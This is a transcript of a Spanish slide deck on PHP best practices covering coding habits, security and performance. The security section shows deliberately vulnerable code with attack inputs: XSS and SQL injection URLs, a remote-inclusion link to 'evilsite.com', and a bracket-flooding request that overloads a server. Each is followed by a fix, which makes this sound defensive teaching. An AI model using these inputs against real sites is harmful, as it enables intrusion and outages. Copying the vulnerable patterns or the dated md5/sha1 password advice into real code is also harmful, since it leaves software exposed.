• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Buenas Prácticas de Programación en PHP
 

Buenas Prácticas de Programación en PHP

on

  • 17,426 views

 

Statistics

Views

Total Views
17,426
Views on SlideShare
17,330
Embed Views
96

Actions

Likes
8
Downloads
719
Comments
0

4 Embeds 96

http://www.slideshare.net 54
http://raul.pinguinos.org.mx 33
http://presentacion.org 7
http://www.xaguilars.com 2

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

CC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike License

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Buenas Prácticas de Programación en PHP Buenas Prácticas de Programación en PHP Presentation Transcript

    • Buenas prácticas de programación en PHP p'; d.ph at aGri es/D p ctur ; <?ph e 'Stru (10) ); i r a Grid ame' requ er page res_Dat st/ db_n ds p uctu d@ho tions); 0 r ecor new Str swor $op // 1 rid =& :pas ag //user _tablequot;, $dat urce 'mysql: ROM my da taso => * F your y('dsn' quot;SELECT etup ra ( // S ns = ar id->bind ) { io r ) e) $opt = $datag or($test ge(); Tabl t rr a TML $tes AR::isE >getMess erer (H if (PE $te st- t rend echo faul th e de with } taG rid r(); th e Da ->rende { rint grid )) // P = $data or($test ge(); t r a $tes AR::isEr >getMess PE - if ( ho $test GER) ; ec s NDER_PA link D_RE } pa ging DATAGRI TML er( t t he H d->rend { rin gri t)) // P = $data or($tes ge(); rr a Jesús M. Castagnetto M., Ph.D. t $tes AR::isE >getMess PE if ( ho $test e c - jesus@upch.edu.pe // jmcastagnetto@php.net } ?> http://www.castagnetto.com/ Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Agenda ● Consideraciones generales ● Seguridad ● Mejorando el funcionamiento ● Donde encontrar mas información Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • ¿Por que se necesita una charla como esta? ● PHP es un lenguaje fácil de aprender, usarlo en forma experta toma tiempo y esfuerzo ● Los problemas de seguridad están en todas partes, en especial, las inesperadas ● Tener buena performance es muy importante en aplicativos de web ● El Código Libre debe ser robusto, funcionar bien, y verse mejor Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • ... y que espero que aprendan ● Errores comunes y como evitarlos ● Algunos “trucos” interesantes que pueden reutilizar ● Como usar buenas herramientas para mejorar su código y sus aplicativos, y hacer su vida mas placentera :-) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Consideraciones Generales En esta sección aprenderemos: ● Hábitos comunes para escribir buen código en PHP ● Algunos consejos para “limpiar” tu código ● Comportamientos que debemos evitar para no cometer tantos errores Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Consideraciones Generales: Tópicos ● Asegurarse del tipo de datos ● Usar “tags” cortas es malo ● Ser “E_STRICTo” es bueno ● Emplear excepciones ● Usar un depurador (debugger) ● Evitar reinventar la rueda ● Los estándares de código son buenos ● Documentar, documentar, documentar Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Tipos de datos (1) La situación: PHP no usa tipos estrictos: <?php   $foo = quot;1quot;; Resultado:   $bar = $foo + 1; string(1) “1”   var_dump($foo, $bar); ?> int(2) ... los operadores tampoco lo usan: <?php     $int = 1;     $string = quot;1quot;;     $bool = true; Resultado:     var_dump($int == $string); bool(true)     var_dump($string == $bool); bool(true)     var_dump($int == $bool); ?> bool(true) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Tipos de datos (2) Esto causa situaciones confusas: <?php   var_dump( '1' == '1.' ); Resultado: ?>  bool(true) ... y produce errores como el siguiente: <?php     function foo($answer) {         if ($answer > 10) {             return true;         } else {             return $answer;         }     } Resultado:     if (foo(11)) {         echo quot;11 es mayor que 10<br />quot;; 11 es mayor que 10     }         9 es mayor que 10     if (foo(9)) {         echo quot;9 es mayor que 10<br />quot;;     } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Tipos de datos (3) La solución: programar asegurándose de los tipos de datos <?php   $foo = quot;1quot;; Resultado:   $bar = (int)$foo + 1;   var_dump((int)$foo, $bar); int(1) ?>  int(2) ... y usar comparadores que entiendan tipos: <?php     $int = 1;     $string = quot;1quot;; Resultado:     $bool = true;     var_dump($int === $string); bool(false)     var_dump($string === $bool); bool(false)     var_dump($int === $bool); bool(false) ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Tipos de datos (3) Y el problema anterior, desaparece como por arte de magia: <?php     function foo($answer) {         if ($answer > 10) {             return true;         } else {             return $answer;         }     }     if (foo(11) === true) { Resultado:         echo quot;11 es mayor que 10<br />quot;; 11 es mayor que 10     }             if (foo(9) === true) {         echo quot;9 es mayor que 10<br />quot;;     } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • “Tags” cortas son dañinas (1) La situación: PHP permite varias formas de marcar el comienzo del código: ➔ Forma estándar: <?php echo “Hola!”; ?> ➔ Forma corta: <? echo “Hola!”; ?> o aún peor: <?= “Hola!”; ?> ➔ ... y para los masoquistas: <% echo “Hola!”; %> Pero: ➔ <? esta reservado para declarar XML ➔ <?= no es XML válido (<?php si lo es) ➔ <% es para los que sueñan/sufren con ASP Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • “Tags” cortas son dañinas (2) La solución: Usar siempre la forma estándar (<?php) y convertir todos tus programas que no usan esa forma. La forma estándar ➔ Tiene garantizada soporte futuro ➔ Representa una instrucción de procesamiento válida en XML ➔ Es única a todos los programas de PHP Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Se “E_STRICTo” (1) La situación: Desde PHP 5.0, existe un nuevo nivel de error: E_STRICT ➔ E_STRICT nos fuerza a escribir código que sea compatible (“limpio”) con PHP 5 ➔ Muy probablemente E_STRICT se convierta en E_FATAL en PHP 6 ➔ Existe mucho código que no es “E_STRICTo” y que por tanto no es portable en su totalidad a sistemas usando PHP 5 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Se “E_STRICTo” (2) La solución: Usemos E_STRICT, y revisemos nuestro código: (en php.ini) error_reporting=E_ALL | E_STRICT Error típico encontrado usando E_STRICT: uso de is_a() en lugar de instanceof: <?php   if (is_a($object, 'ClassName')) { El problema     $object­>algunMetodo();   } ?>  <?php   if ($object instanceof ClassName) { La solución     $object­>algunMetodo();   } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Excepciones (1) La situación: PHP tiene excepciones ahora, esto es bueno, pero peligroso ➔ Las excepciones son una gran herramienta para manejar situaciones excepcionales en la ejecución del código ➔ A menudo se usan mal las excepciones, y tendemos a abusar de ellas ➔ Las excepciones causan un poco de pérdida de memoria cuando son ejecutadas en algunas situaciones Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Excepciones (2) Abusando de las excepciones: <?php   function check_input($input) {     if ($input !== quot;Hello!quot;) {       throw new Exception(quot;User input wrongquot;);     }   } ?> Cuando podríamos haber hecho algo mas sensato: <?php   function check_input($input) {     if ($input !== quot;Hello!quot;) {       return false;     } else {       return true;     }   } ?> Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Excepciones (2) Solución: Usemos bien las excepciones <?php   function check_server_connection() {     if (server_connection_timeout()) { Situaciones       throw new Exception('Connection timeout'); excepcionales     }   } ?> <?php   try {     $person­>setName('John Doe');     $person­>setAddress('Something St. 12');     $person­>setbirthDate('10­10­1900');     $person­>store();   } catch (Exception e) { Manejo de     throw new DataPopulationException(         'Unable to fill data for person ' . $person­>getId(), e errores en     ); un bloque   } de procesos ?> Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Excepciones (3) Excepciones “pierden” alguito de memoria cuando se les lanza continuamente (por ejemplo en un bucle de proceso): <?php foreach ($i = 1000000; $i > 0; $i­­) { throw new Exceptions( quot;WOW, I'm leaking!quot; ); } ?>  La memoria pedida no es liberada por completo cada vez. Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Usando un depurador (1) La situación: “¡Yo no necesito depurador!” ● “Para mi es suficiente usar var_dump() y print_r(). ¿Para que complicarme la vida?” ● Los errores de PHP no son muy informativos en casos moderadamente complejos ● Un depurador tiene características que ayudan mucho, y que evitan dolores de cabeza al analizar errores en nuestros aplicativos de web Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Usa un depurador (2) Por ejemplo, el siguiente código: <?php function foo() {      phpinfo(quot;barquot;); } foo(); ?> Daría un error como este: Warning: phpinfo() expects a parameter 1 to be long, string given in /server/webdocs/foo.php on line 1 ... lo cual no nos dice mucho en realidad Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Usa un depurador (3) En cambio, un buen depurador nos da mucha mas información: Ahora sabemos inclusive el orden de llamada que causo el error, cuando se realizó la llamada a la función, etc. Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Usa un depurador (4) La solución: ¡Usen un buen depurador! ● Recomendación: Xdebug (http://xdebug.org) ➔ Es Código Libre ➔ Usado por muchos desarrolladores ➔ Se integra con PHP como una extensión ➔ Se integra con IDEs (ej. Komodo) ➔ Tiene opciones para obtener perfiles de uso y cobertura de código ● Otros depuradores:DBG(http://dd.cron.ru), APD (http:// pecl.php.net/package/apd), Zend IDE (propietario) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Estándares de código (1) La situación: “¡Yo escribo código como a mi me viene en gana!” ● Esto causa dificultades al leer el código, lo cual es malo en un grupo de desarrollo ● Hace complicado que alguien mantenga tu código ● En ocasiones, tu mismo(a) tendrás problemas entendiendo tu propio “monstruo” Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Estándares de código (2) La solución: ¡Usa un estándar de código! ● Existen muchos, buenos, aceptados, refinados y validados por comunidades grandes de desarrolladores: ➔ PEAR Code Standards: http://pear.php.net/manual/en/standards.php ➔ eZ Systems: http://ez.no/ezpublish/documentation/development/standards/php ➔ ZF Code Standard: http://framework.zend.com/manual/en/coding-standard.html Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Documentación (1) La situación: Comparado con escribir código, el hacer documentación es aburrido y se deja para el último momento ● Esto hace que después de 6 meses, ni tu mismo te acuerdes que hace un pedazo de código que hiciste (en particular si no tienes un estándar de código :-) ● Piensa que otros usaran tu código. Mejor aún, espera y cuenta con otros usarán tu código, y no les compliques la vida Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Documentación (2) La solución: phpDocumentor ➔ Implementa y aumenta las capacidades de documentación de Javadoc ➔ Es un estándar aceptado por la comunidad ➔ Está disponible a través de PEAR ➔ Permite la generación “automágica” de documentación de tu API ➔ También puedes incluir tutoriales ➔ Más información en http://phpdoc.org Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Documentación (3) Consejos útiles: ➔ Escribe la documentación antes de escribir el código, de ese modo no te olvidas de algo importante ➔ Si escribes primero el código, de seguro que no vas a escribir buena documentación (y eso, si la llegas a escribir) ➔ Documenta minuciosamente, así no tienes que corregir los documentos luego ➔ Si vas a modificar, añadir o arreglar algo: Actualiza la documentación primero, luego actualiza el código. Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Seguridad En esta sección veremos: ● Problemas comunes y sus soluciones ● Como estar atento a lo hacen nuestros usuarios, y actuar de acuerdo a ello Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Seguridad: Tópicos ● Inyección de variables ● Inyección de comandos en SQL ● Filtrado de datos de ingreso ● Escape de datos de salida ● Seguridad por obscuridad ● Arreglar los derechos de acceso ● Configuración ● Cookies y sesiones Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Inyección de variables (1) La situación: Las variables no inicializadas pueden causar que se ejecuten secciones no esperadas de código <?php if (correct_user($_POST['user'], $_POST['password']) {      $login = true; } if ($login) {      forward_to_secure_environment(); } ?>  ¡Un desastre en potencia! http://example.com/form1.php?login=1 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Inyección de variables (2) La solución: Inicializa todas tus variables y nunca (si, ¡nunca!) confíes en datos que vienen del usuario (del exterior): $_POST, $_GET, $_REQUEST, $_COOKIE, $_SERVER, $_ENV Ejemplo simple de XSS. Al código: <form action=quot;<?php echo $_SERVER['PHP_SELF']; ?>quot;> </form> ... le inyectamos el URL siguiente: http://example.com/form2.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo generando una ventana en JavaScript que imprime el texto “XSS” Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Inyección de variables (3) La situación: Variables usadas para incluir archivos causan mas dolores de cabeza que los que resuelven. ➔ Hacen fácil que se ejecute código externo ➔ Peor aun si se puede incluir código de cualquier URL arbitrario (allow_url_fopen=On, la configuración por defecto de PHP) <?php require_once $_GET['action'] . '.php'; ?>  Se puede explotar esto usando: http://example.com/form3.php?action=http://evilsite.com/myevilscript Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Inyección de variables (4) La solución: Valida los archivos a incluir usando una lista fija implementada con arreglos o con 'switch', etc. <?php $valid_files = array( 'show' => 'show.php',      'list' => 'list.php', ); if (isset($valid_files[$_GET['action']])) {      require_once $valid_files[$_GET['action']]; } else {      echo 'Not a valid action.'; } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Inyección de comandos en SQL (1) La situación: El necesitar usar datos de los usuarios, puede permitir a estos el manipular la forma como se accede a la base de datos. Dado el código: <?php $sql = 'SELECT password FROM user WHERE login = '            . $_GET['login']; ?> Se puede manipular usando: http://example.com/form4.php?login=username+OR+1 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Inyección de comandos en SQL (2) La solución: Usa funciones para escapar datos de tu base de datos: <?php $sql = 'SELECT password FROM user WHERE login = ' .  mysql_real_escape_string( $_GET['login'] ); ?>  O aún mejor, usa comando preparados: <?php $db = new PDO( ... ); $stmt = $db­>prepare( 'SELECT password FROM user WHERE login = ?' ); $stmt­>execute( array( $_GET['login'] ) ); ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Validación de datos de entrada (1) La situación: Validar los datos que entra el usuario es difícil y poco interesante. La solución: Usar ext/filter o ext/ctype <?php var_dump( ctype_alnum( 'foobar_42' ) ); var_dump( ctype_alnum( 'Bad Characters $%&/' ) ); var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL)); var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); ?> Resultado: boolean false boolean false string 'bob@example.com' (length=15) boolean false Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Validación de datos de entrada (2) Sugerencia: Para datos numéricos, es más fácil el forzar al dato a tener un tipo un entero (integer) <?php var_dump( (int) '42' ); var_dump( (int) '42; DELETE * FROM users;' ); var_dump( (int) 'Evil string' ); ?> Resultado: int 42 int 42 int 0 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Procesa los datos de salida (1) La situación: Los ataques de XSS ocurren por no procesar adecuadamente los datos de salida, o usarlos tal cual son obtenidos. ➔ Debemos asumir que todo dato ingresado por el usuario, puede contener caracteres que serán interpretados por el navegador, u otro programa que recibe nuestros resultados. <?php $text = '<b>Hola</b> todos.'; Resultado: echo $text; echo htmlentities( $text ); Hola todos ?>  <b>Hola</b> todos Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Procesa los datos de salida (2) La solución: Usar las funciones de procesamiento de datos de salida ➔ Hay que recordar que las bases de datos también pueden contener datos ingresados por el usuario ➔ Debemos de considerar el contexto en que la salida de nuestro programa va a ser usada (navegador, lector de RSS, etc.) ➔ Usar un sistema de plantillas, en especial uno que procese la salida adecuadamente, evita este problema y nos ahorra trabajo Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Seguridad por obscuridad La situación: Información acerca de las rutas, extensiones, y configuración, hace fácil el trabajo de quien quiere atacar tu sistema. La solución: Oculta bien esta información. ➔ No tengas un script con phpinfo() en tu directorio de web por defecto ➔ En producción, desactiva display_errors y usa error_log en su lugar ➔ El cambiar los tipos de archivos por defecto (ej. usar .abc en lugar de .php), y desactivar expose_php también puede ayudar Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Corrige los permisos de acceso La situación: Permisos de acceso errados hacen fácil el que alguien puede adueñarse de nuestro servidor de web. La solución: Usa los permisos correctos ➔ No deben de haber archivos ejecutables o que se puedan escribir en tu carpeta de web ➔ Ningún archivo de PHP debe de poderse sobre- escribir ➔ Desactivar el leer (y ejecutar) archivos externos conteniendo clases, configuración, o código de cualquier índole Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Configuración (1) La situación: El proceso inadecuado de los datos de salida y los almacenados. ➔ Afecta directamente (a veces, seriamente) la performance de tu aplicativo de web ➔ A veces no usamos adecuadamente funciones como stripslashes(), ni las asociadas al tipo de almacenaje que usaremos (base de datos, archivos, etc.) La solución: No uses magic_quotes en producción (ni en desarrollo, de ser posible), y usa funciones de procesamiento apropiadas Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Configuración (2) Si queremos revertir efectivamente el efecto de magic_quotes, hay que hacerlo con cuidado <?php if (get_magic_quotes_gpc()) { function strip_quotes(&$var) { Este código se if (is_array($var) { array_walk($var, 'strip_quotes'); puede atacar } else { fácilmente. $var = stripslashes($var); } } Un programa // Handle GPC simple puede foreach (array('GET','POST','COOKIE') as $v) { if (!empty(${quot;_quot;.$v})) { hacer que el array_walk(${quot;_quot;.$v}, 'strip_quotes'); servidor se caiga } } por exceso de } carga ?>  <?php $qry = str_repeat('[]', 1024); file_get_contents('http://example.com/site.php?a' . $qry . '=1'); ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Configuración (4) Podemos hacer el mismo procesamiento, pero en forma mas segura, si usar recursión: <?php if (get_magic_quotes_gpc()) { $in = array(&$_GET, &$_POST, &$_COOKIE); while (list($k,$v) = each($in)) { foreach ($v as $key => $val) { if (!is_array($val)) { $in[$k][$key] = stripslashes($val); continue; } $in[] =& $in[$k][$key]; } } unset($in); } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Configuración (5) La situación: Aún hay código que depende de que register_globals este activo, y hay desarrolladores que aún siguen usándolo ➔ Esta configuración ha sido desactivada por defecto desde hace mucho tiempo (desde PHP 4.2.0: 22 de Abril del 2002) ➔ Su uso llena de basura el entorno global ➔ Puede sobre-escribir variables no inicializadas con gran facilidad ➔ Nos (mal) acostumbra a no procesar nuestros datos de entrada Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Configuración (6) La solución: No uses register_globals, ni en desarrollo y menos en producción. ➔ El tratar de emular su efecto puede traer problemas, en particular en entornos usando PHP con versiones anteriores a 4.4.1 o 5.0.5 ➔ Aún puedes crear tus propios mecanismos de importación de variables ➔ El comportamiento de extract() y el de import_request_variables() es aceptado ¡En PHP 6 ya no existirá ni magic_quotes y menos aún register_globals! Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Cookies y sesiones (1) La situación: Las cookies son fáciles de ser modificadas por el usuario. ➔ No almacenes información crítica en cookies ➔ Pueden ser falsificadas usando programas automatizados La solución: Usar ext/session para almacenar los datos importantes. ➔ Generalmente, se almacenará un ID de sesión en la cookie del usuario ➔ Los datos asociados residen en el servidor (archivos o base de datos) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Cookies y sesiones (2) Sugerencias: ➔ No almacenar claves de identificación como texto sencillo, es inseguro aún en el servidor. Es bueno usar un función como md5(), sha1(), etc. para almacenar un valor que no puede ser revertido a la cadena original ➔ Al usar md5() (o sha1(), etc.), no hacerlo directamente en la clave, pues pueden escribirse programas que traten de adivinar esta información por fuerza bruta. Concatenar con otra información (ej. nombre del servidor, del usuario, etc.), antes de procesar. Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Mejorando la performance En esta sección aprenderemos ● Algunos de los errores comunes que hacen que nuestros aplicativos corren más lentamente de lo que realmente deberían. ● Algunas sugerencias que pueden ayudar a que la performance de nuestros aplicativos aumente, usando prácticas correctas de escritura de código Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Mejorando la performance: Tópicos ● Prefiere usar C en lugar de PHP ● Algunas mejoras simples en la velocidad ● Como usar OOP adecuadamente ● Usar cache tanto como se pueda ● Tener cuidado con las expresiones regulares ● Emplear cache de OP code ● Hacer un perfil del aplicativo ● Usar mod_gzip Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Prefiere usar C en lugar de PHP La situación: Las funciones internas de PHP son más rápidas que las del usuario ➔ Las funciones de PHP nos ahorran tiempo, pero aún así hay gente que insiste en escribir su “versión propia” de estas La solución: ¡Lee el manual! ➔ PHP tiene excelente documentación, usala a menudo y verás que te gustará ➔ Antes de escribir, fíjate si ya existe en PHP ➔ Si realmente necesitas funciones que consumen mucho tiempo, escribelas como extensiones en C para PHP Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Algunas mejoras simples en la velocidad (1) La situación: Si usamos código simple muy frecuentemente, esto puede causar que se pierda mucho tiempo de proceso. ➔ El uso principal de los aplicativos de web es el de procesar cadenas de caracteres ➔ Debemos de analizar las construcciones de código más frecuentemente usadas en nuestro aplicativo “Make everything as simple as possible, but not simpler.” (Haz todo tan simple como sea posible, pero no mas simple que eso) -- Albert Einstein Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Algunas mejoras simples en la velocidad (2) La solución: Optimizaciones simples ayudan mucho a aumentar la velocidad ➔ Usa ' en lugar de quot; para no tener que interpretar valores Preferido echo quot;HolanTodosquot;; echo 'Hola Todos'; ➔ Usa valores múltiples de echo en lugar de usar Preferido concatenación de valores echo 'Hola '.$nombre; echo 'Hola ', $nombre; ➔ Donde sea posible usa ++$i en lugar de $i++ for ($i=0; $i<100; $i++) Preferido for ($i=0; $i<100; ++$i) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Usa OOP adecuadamente (1) La situación: PHP 5 tiene características interesantes en lo relacionado a OOP ➔ OOP se ve bien y puede ser útil, pero también sobrecarga el procesamiento ➔ Cada objeto consume memoria en PHP que una estructura equivalente ➔ Cada llamada a un método consume memoria y tiempo en PHP <?php     class Integer {         protected $value = 0; Bonito código,         function __construct($int) {             $this­>value = $int; pero innecesario         }     } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Usa OOP adecuadamente (2) La solución: Conoce los límites de OOP ➔ No todo tiene que ser una clase, los arreglos pueden ser muy útiles también ➔ No crees múltiples métodos, piensa en que vas a reusar en realidad. Sé pragmático(a). ➔ Si lo necesitas, puedes reorganizar tus métodos luego. No trates de adivinar el futuro. ➔ Piensa: ¿Realmente necesito un árbol de clases tan profundo y complejo? ➔ Antes de aplicar un “Patrón de Diseño” OOP, piensa si realmente lo necesitas. No hagas las cosas por moda o imitación Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Usar cache al máximo (1) La situación: La mayor parte del contenido no es dinámicamente generado ➔ 90% del tiempo el servidor está enviando la misma información a múltiples usuarios ➔ Cada pedido de una página, resulta en los mismos resultados de búsqueda en la base de datos ➔ 90% del trabajo de tu servidor se gasta en regenerar el mismo contenido... ¡estático! Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Usar cache al máximo (2) La solución: Usa un cache ➔ Estima la frecuencia con que realmente necesitas regenerar tu contenido dinámico ➔ Usa un cache para los periodos en los que no regeneras el contenido ➔ Evita el que el contenido estático sea regenerado, o actualiza este con mucho menor frecuencia ● Librerías de cache sugeridas: ➔ Cache_Lite (http://pear.php.net/Cache_Lite) ➔ eZCache (http://ez.no/products/ez_components) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Usar cache al máximo (3) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Cuidado con las expresiones regulares (1) La situación: Las expresiones regulares (regexes) pueden consumir mucho tiempo de proceso ➔ Prefiere usar PCRE en lugar de EREG, es mas potente y mas rápido ➔ Una regex escrita incorrectamente puede consumir mucho tiempo de proceso ➔ Una función en C equivalente es siempre mucho mas veloz que la regex equivalente Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
    • Cuidado con las expresiones regulares (2) La solución: Piensa dos veces antes de usar una regex ➔ ¿Existe una función en PHP que hace el mismo trabajo que mi regex? ➔ Reemplaza tus EREGs por PCREs ➔ Trata de no usar “backtracking” de ser posible (usa el modificador U, cuando sea posible) ➔ Lee, aprende y usa inteligentemente el contenido del libro: “Mastering Regular Expressions” (http://www.oreilly.com/catalog/regex/) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
